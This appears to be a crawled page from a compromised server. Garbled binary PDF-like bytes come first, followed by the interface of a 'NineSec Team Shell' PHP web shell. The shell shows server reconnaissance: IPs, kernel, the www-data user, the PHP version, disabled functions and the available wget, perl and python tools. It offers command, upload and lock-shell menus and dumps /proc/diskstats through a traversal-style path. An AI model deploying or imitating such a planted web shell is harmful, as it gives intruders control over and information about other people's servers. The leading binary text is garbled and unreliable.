%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 192.168.60.199  /  Your IP : 192.168.60.1
Web Server : Apache
System : Linux PROD-conference 6.8.12-17-pve #1 SMP PREEMPT_DYNAMIC PMX 6.8.12-17 (2025-11-21T11:16Z) x86_64
User : www-data ( 33)
PHP Version : 5.6.40-0+deb8u12
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0555) :  /home/../etc/xdg/../python/../vim/../python3.4/../python3.4/../../proc/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //home/../etc/xdg/../python/../vim/../python3.4/../python3.4/../../proc/diskstats
   7       0 loop0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       1 loop1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       2 loop2 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       3 loop3 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       4 loop4 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       5 loop5 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       6 loop6 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   7       7 loop7 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
   8      80 sdf 634 0 58280 321 0 0 0 0 0 80 321 0 0 0 0 0 0
   8      81 sdf1 102 0 9824 54 0 0 0 0 0 42 54 0 0 0 0 0 0
   8      82 sdf2 99 0 9824 53 0 0 0 0 0 39 53 0 0 0 0 0 0
   8      83 sdf3 99 0 9824 64 0 0 0 0 0 39 64 0 0 0 0 0 0
   8      84 sdf4 99 0 9824 55 0 0 0 0 0 41 55 0 0 0 0 0 0
   8      85 sdf5 99 0 9824 49 0 0 0 0 0 39 49 0 0 0 0 0 0
   8      64 sde 60535264 25963 6968652395 595349339 329071365 268767064 12301392970 263132464 0 22625467 858481803 0 0 0 0 0 0
   8      65 sde1 52 0 2080 13 0 0 0 0 0 5 13 0 0 0 0 0 0
   8      66 sde2 490 1057 43452 125 286 0 286 23 0 74 148 0 0 0 0 0 0
   8      67 sde3 60534603 24906 6968600943 595349138 329071079 268767064 12301392684 263132440 0 28247944 858481579 0 0 0 0 0 0
   8      96 sdg 634 0 58280 294 0 0 0 0 0 76 294 0 0 0 0 0 0
   8      97 sdg1 102 0 9824 43 0 0 0 0 0 31 43 0 0 0 0 0 0
   8      98 sdg2 99 0 9824 52 0 0 0 0 0 35 52 0 0 0 0 0 0
   8      99 sdg3 99 0 9824 56 0 0 0 0 0 41 56 0 0 0 0 0 0
   8     100 sdg4 99 0 9824 53 0 0 0 0 0 44 53 0 0 0 0 0 0
   8     101 sdg5 99 0 9824 48 0 0 0 0 0 40 48 0 0 0 0 0 0
   8       0 sda 513339422 227689871 54945197616 352942436 4121840789 985322815 67438814664 517313341 0 470332245 1083976725 0 0 0 0 1740622126 213720946
   8      32 sdc 501891262 238467272 56806711656 373944932 4174247415 985384895 69037644144 539856033 0 513619369 1130219688 0 0 0 0 1752816543 216418722
   8      16 sdb 516584759 229099713 55484420864 361399882 4580933545 1043931761 72483146096 575224109 0 526638109 1168210462 0 0 0 0 1927426795 231586470
   8      48 sdd 308980870 143651195 33638217328 198299987 3319159297 715492805 49105166712 368058337 0 363394211 734332890 0 0 0 0 1438176630 167974565
 252       0 dm-0 741029223 0 54945185536 572383376 5107163604 0 67438814664 2185457220 0 592298023 2757840596 0 0 0 0 0 0
 252       1 dm-1 1444 0 18568 136 5971 0 47768 183955 0 8154 184091 0 0 0 0 0 0
 252       2 dm-2 452631995 0 33638205248 339778921 4034652102 0 49105166712 1343897114 0 466655956 1683676035 0 0 0 0 0 0
 252       3 dm-3 745684402 0 55484408784 583159222 5624865306 0 72483146096 2441928976 0 706518312 3025088198 0 0 0 0 0 0
 252       4 dm-4 740358464 0 56806699576 610794746 5159632310 0 69037644144 2324761637 0 731764122 2935556383 0 0 0 0 0 0
 252       5 dm-5 63799 0 5675986 16362 508291494 0 9106529184 73044953 0 15739259 73061315 0 0 0 0 0 0
 252       6 dm-6 12520309 0 6962894343 44946136 37285786 0 3194815732 19773716 0 82078290 64719852 0 0 0 0 0 0
   8     112 sdh 364 0 20884 303 0 0 0 0 0 216 303 0 0 0 0 0 0
   8     113 sdh1 31 0 464 20 0 0 0 0 0 21 20 0 0 0 0 0 0
   8     114 sdh2 68 0 3192 58 0 0 0 0 0 52 58 0 0 0 0 0 0
   8     115 sdh3 92 0 9036 95 0 0 0 0 0 88 95 0 0 0 0 0 0
   8     116 sdh4 36 0 768 26 0 0 0 0 0 28 26 0 0 0 0 0 0
 251      32 rbd2 159203 5379 5613682 93141 25506310 19259436 512511192 56038806 0 50245471 56131947 0 0 0 0 0 0
 251      64 rbd4 129579 30884 3772842 47804 26883748 46502235 641833688 61843937 0 36639500 61891742 0 0 0 0 0 0
 251      80 rbd5 89354 9616 6617522 46060 61136116 30603912 1559005400 117065041 0 73215250 117111102 0 0 0 0 0 0
 251     128 rbd8 7344 1251 771482 5150 12605970 1098957 128328928 25134385 0 15135863 25159658 150158 11437 1134853032 20122 0 0
 251     144 rbd9 133933 29750 8704842 42988 2818819 552762 121491152 7553451 0 10120957 7645375 64602 7898 443140128 48934 0 0
 251      48 rbd3 29993 8274 1635800 19820 2300581 220490 22351045 5425636 0 4398045 5445456 0 0 0 0 0 0
 251     160 rbd10 135531564 281616 4617012082 76149282 282278568 98317933 6398117046 789136792 0 122340792 865998895 843101 510642 1533840168 712820 0 0
 251     112 rbd7 105719 10087 8920236 64092 2259863 392092 52646088 5709722 0 5784473 5889057 49792 10949 253190856 115241 0 0
 251     176 rbd11 149036 15016 118987892 222400 1965030 40586 32652824 4614905 0 3830129 4840039 14716 1500 109635296 2734 0 0
 251      96 rbd6 12196547 109805 401472762 34637854 90607351 17462940 2640418072 238106752 0 282053443 272744606 0 0 0 0 0 0
 251       0 rbd0 102225 19204 15725682 53394 29973 60860 1487000 75614 0 87807 129008 0 0 0 0 0 0

NineSec Team - 2022